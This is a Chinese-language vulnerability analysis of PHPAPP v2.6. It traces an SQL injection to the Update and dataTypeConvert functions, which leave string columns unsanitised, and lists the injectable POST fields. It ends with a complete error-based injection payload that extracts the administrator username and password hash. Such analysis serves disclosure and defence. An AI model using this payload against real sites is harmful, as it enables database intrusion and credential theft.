在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/member.php?app=2&action=40, 存在漏洞的文件在/phpapp/apps/member/member_phpapp.php 下面分析一下漏洞产生的原因
public function SetInfoAction(){ $member=$this->GetMysqlOne('*',"".$this->GetTable('member')." WHERE uid='$this->uid'"); $usergroup=$member['usergroup']; include_once(APPS.'/member/class/member_phpapp.php'); $mf=new MemberFunction(); $membertable=$mf->GetTypeNameMember($member['usertype']); if($this->POST['Submit']){ $this->POST['about']=$this->str($this->POST['about'],600,1,0,1,0,1); $this->POST['homepage']=$this->str($this->POST['homepage'],255,1,0,1,0,1); $birthday=strtotime($this->POST['Year'].'-'.$this->POST['Month'].'-'.$this->POST['Day']); $this->POST['birthday']=$birthday; 无关代码 $this->Update('member',array('userpost'=>$this->POST['userpost']),array()," WHERE uid='$this->uid'"); $this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'"); if(!$this->IsSQL($membertable['table_phpapp'],"WHERE uid='$this->uid'")){ $this->Insert($membertable['table_phpapp'],array('uid'=>$this->uid,'about'=>$this->POST['about']),array()); }else{ $this->Update($membertable['table_phpapp'],array('about'=>$this->POST['about']),array()," WHERE uid='$this->uid'"); } 无关代码
先把用户post的内容中的几个参数用str函数处理,str方法对用户输入的数据进行了过滤,做了防注。 再往下看,看到了这句$this->Update('member_info',$this->POST,array()," WHERE uid='$this->uid'");把整个post的内容带入了Update方法,再去看看Update方法,/phpapp/apps/core/class/mysql_class_phpapp.php
//表名, 修改数组,添加合并数组,条件 function Update($tablename,$setarray=array(),$addarr=array(),$whereif=''){ $setarray=array_merge($setarray,$addarr); $deletearr=$this->GetMysqlFieldArray($tablename); if($setarray){ $sqlset=''; foreach($setarray as $key=>$value){ $_key=strtolower($key); if(isset($deletearr[$_key])){ $value=$this->dataTypeConvert($value,$deletearr[$_key]); if($sqlset){ $sqlset.=',`'.$_key.'`=\''.$value.'\''; }else{ $sqlset='`'.$_key.'`=\''.$value.'\''; } } } $query=sprintf('UPDATE %s SET %s %s',$this->GetTable($tablename),$sqlset,$whereif); //exit($query); return $this->MysqlQuery($query); }else{ return false; } }
Update代码防注分析: 1、通过GetMysqlFieldArray方法获取数据表的所有字段名及每个字段对应的属性; 2、判断用户post的内容中的key是否是数据表中的字段名,防止了key的注入; 3、通过dataTypeConvert方法把用户提交的数据按数据表中各字段的类型进行防注转换。 如果以上每一步的代码都正确实现了的话,应该是没有办法注入的,但是这里的第3步中,也就是dataTypeConvert方法的实现时有疏忽,看下面代码。
function dataTypeConvert($data,$type){ switch($type){ case 'int': $data=intval($data); break; case 'real': $data=doubleval($data); break; case 'timestamp': $data=intval($data); break; case 'string': case 'year': case 'date': case 'time': case 'datetime': case 'blob': default: //$data=intval($data); break; } return $data; }
只对int、real、timestamp做了处理,其他的类型这里没有处理。 绕过方法: 因为正常提交时的几个参数(about、homepage、Year、Month、domainname)在代码中都使用str方法进行了防注处理,在提交http请求时,可以提交其他的参数,但其他参数必须是数据表(phpapp_member_info)中的字段,且类型不是int、real、timestamp的参数。这里有多个参数可以使用,如avatar、qq、icq、phone、mobile、msn、certificate 7个参数可以注入。 下面以qq为例进行证明: Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交)
Submit=1&about=a&homepage=b&Year=1990&Month=12&Day=23&domainname=123aiw&userpost=34a5&qq=1' or(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)from phpapp_member limit 0,1))a from information_schema.tables group by a)b) or'
注入成功,管理员用户名及密码如下图中所示: